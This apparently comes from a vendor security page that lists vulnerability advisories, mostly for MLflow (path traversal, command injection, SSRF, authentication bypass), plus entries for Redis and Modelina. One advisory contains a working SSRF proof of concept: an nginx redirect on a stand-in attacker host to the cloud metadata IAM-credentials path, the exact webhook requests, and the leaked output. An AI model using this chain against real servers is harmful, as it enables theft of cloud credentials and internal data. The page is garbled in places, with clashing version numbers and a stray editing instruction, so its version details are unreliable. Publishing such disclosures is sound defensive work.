See how lfprojects compares to other vendors in security performance
A vulnerability in mlflow/mlflow version 8.2.1 allows for remote code execution due to improper neutralization of special elements used in an OS command ('Command Injection') within the mlflow.data.httpdatasetsource.py module. Specifically, when loading a dataset from a source URL with an HTTP scheme, the filename extracted from the Content-Disposition header or the URL path is used to generate the final file path without proper sanitization. This flaw enables an attacker to control the file path fully by utilizing path traversal or absolute path techniques, such as '../../tmp/poc.txt' or '/tmp/poc.txt', leading to arbitrary file write. Exploiting this vulnerability could allow a malicious user to execute commands on the vulnerable machine, potentially gaining access to data and model information. The issue is fixed in version 2.9.0.
Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.
A path traversal vulnerability exists in the extractarchivetodir function within the mlflow/pyfunc/dbconnectartifactcache.py file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments.
A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the installmodeldependenciestoenv() function. When deploying a model with envmanager=LOCAL, MLflow reads dependency specifications from the model artifact's pythonenv.yaml file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.
Impact
Users of the MLflow Open Source Project who are hosting the MLflow Model Registry using the mlflow server or mlflow ui commands using an MLflow version older than MLflow 2.2.1 may be vulnerable to a remote file access exploit if they are not limiting who can query their server (for example, by using a cloud VPC, an IP allowlist for inbound requests, or authentication / authorization middleware).
This issue only affects users and integrations that run the mlflow server and mlflow ui commands. Integrations that do not make use of mlflow server or mlflow ui are unaffected; for example, the Databricks Managed MLflow product and MLflow on Azure Machine Learning do not make use of these commands and are not impacted by these vulnerabilities in any way.
The vulnerability detailed in https://nvd.nist.gov/vuln/detail/CVE-2023-1177 enables an actor to download arbitrary files unrelated to MLflow from the host server, including any files stored in remote locations to which the host server has access.
Patches This vulnerability has been patched in MLflow 2.2.1, which was released to PyPI on March 2nd, 2023. If you are using mlflow server or mlflow ui with the MLflow Model Registry, we recommend upgrading to MLflow 2.2.1 as soon as possible.
Workarounds If you are using the MLflow open source mlflow server or mlflow ui commands, we strongly recommend limiting who can access your MLflow Model Registry and MLflow Tracking servers using a cloud VPC, an IP allowlist for inbound requests, authentication / authorization middleware, or another access restriction mechanism of your choosing.
If you are using the MLflow open source mlflow server or mlflow ui commands, we also strongly recommend limiting the remote files to which your MLflow Model Registry and MLflow Tracking servers have access. For example, if your MLflow Model Registry or MLflow Tracking server uses cloud-hosted blob storage for MLflow artifacts, make sure to restrict the scope of your server's cloud credentials such that it can only access files and directories related to MLflow.
References More information about the vulnerability is available at https://nvd.nist.gov/vuln/detail/CVE-2023-1177.
Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0.
Modelina is a library for generating data models based on inputs such as AsyncAPI, OpenAPI, or JSON Schema documents. Versions prior to 1.0.0 are vulnerable to Code injection. This issue affects anyone who is using the default presets and/or does not handle the functionality themself. This issue has been partially mitigated in version 1.0.0, with the maintainer's GitHub Security Advisory (GHSA) noting "It is impossible to fully guard against this, because users have access to the original raw information. However, as of version 1, if you only access the constrained models, you will not encounter this issue. Further similar situations are NOT seen as a security issue, but intended behavior." The suggested workaround from the maintainers is "Fully custom presets that change the entire rendering process which can then escape the user input."
Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
MLflow allowed arbitrary files to be PUT onto the server.
An attacker can overwrite any file on the server hosting MLflow without any authentication.
Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.
Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models information.
This vulnerability enables malicious users to read sensitive files on the server.
MLflow Tracking Server Model Creation Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MLflow Tracking Server. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of model file paths. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26921.
MLflow Weak Password Requirements Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of MLflow. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the handling of passwords. The issue results from weak password requirements. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-26916.
In mlflow/mlflow, the FastAPI job endpoints under /ajax-api/3.0/jobs/ are not protected by authentication or authorization when the basic-auth app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (MLFLOWSERVERENABLEJOBEXECUTION=true) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.
mlflow prior to 2.3.0 is vulnerable to path traversal due to a bypass of the fix for CVE-2023-1177.
An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirement.
A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it could be abuse to get a remote code execution on the victim machine.
Insufficient sanitization in MLflow leads to XSS when running an untrusted recipe.
This issue leads to a client-side RCE when running an untrusted recipe in Jupyter Notebook.
The vulnerability stems from lack of sanitization over template variables.
Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. This issue leads to a client-side RCE when running the recipe in Jupyter Notebook. The vulnerability stems from lack of sanitization over dataset table fields.
In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 3.10.0.
Path Traversal in GitHub repository mlflow/mlflow prior to 2.9.2.
mlflow/mlflow is vulnerable to Local File Inclusion (LFI) due to improper parsing of URIs, allowing attackers to bypass checks and read arbitrary files on the system. The issue arises from the 'islocaluri' function's failure to properly handle URIs with empty or 'file' schemes, leading to the misclassification of URIs as non-local. Attackers can exploit this by crafting malicious model versions with specially crafted 'source' parameters, enabling the reading of sensitive files within at least two directory levels from the server's root.
Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (validatewebhookurl, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allowredirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.
Details Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/init.py, WEBHOOKBEFOREREQUESTHANDLERS), which is not loaded by default.
2. The guard validates but pins nothing — mlflow/utils/validation.py validatewebhookurl: python schemes = MLFLOWWEBHOOKALLOWEDSCHEMES.get() # default ["https"] if parsedurl.scheme not in schemes: raise ... if not MLFLOWWEBHOOKALLOWPRIVATEIPS.get(): # default False for addrinfo in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(addrinfo[4][0]) if not ip.isglobal: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: python def createwebhooksession(): adapter = HTTPAdapter(maxretries=retrystrategy) # retry only; no IP pinning ... def sendwebhookrequest(webhook, payload, event, session): validatewebhookurl(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payloadbytes, headers=headers, timeout=timeout) # no allowredirects=False -> 302 followed; redirect Location never re-validated testwebhook returns responsestatus and responsebody to the caller. Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes validatewebhookurl):
POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhookid":"<WEBHOOKID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOKID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json
{"webhookid":"<WEBHOOKID>","event":{"entity":"REGISTEREDMODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"responsestatus":200, "responsebody":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "responsebody":"INTERNALSECRET=mlflowssrfproof7f3a91\nrole=admin\n"
For convenience, the "my secret data" is saved in the same location.
<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />
Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTEREDMODEL, CREATED); lowercase maps to ENTITYUNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.
- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.
Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).
Fix
Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.
Redirect variants
The same missing re-validation enables two distinct primitives depending on the redirect status code:
- 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.responsebody), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /close, Spring Boot Actuator /shutdown).
Neither requires authentication on a default OSS server.
Then add a fix reference near the top or in a "Remediation" note:
A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of tarfile.extractall without path validation enables crafted tar.gz files containing .. or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.
A vulnerability in MLflow versions <=3.10.1.dev0 allows unauthorized access to multipart upload (MPU) endpoints when the --serve-artifacts mode is enabled. The authorization logic does not enforce resource-level permission checks for /mlflow-artifacts/mpu/ endpoints, enabling attackers to overwrite artifacts belonging to other users. This can lead to unauthorized cross-user writes, model supply chain poisoning, and arbitrary code execution when compromised models are loaded. The issue is resolved in version 3.10.0.
with only one user interaction(download a malicious config), attackers can gain full command execution on the victim system.
Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.1.0 or newer, enabling a maliciously uploaded scikit-learn model to run arbitrary code on an end user’s system when interacted with.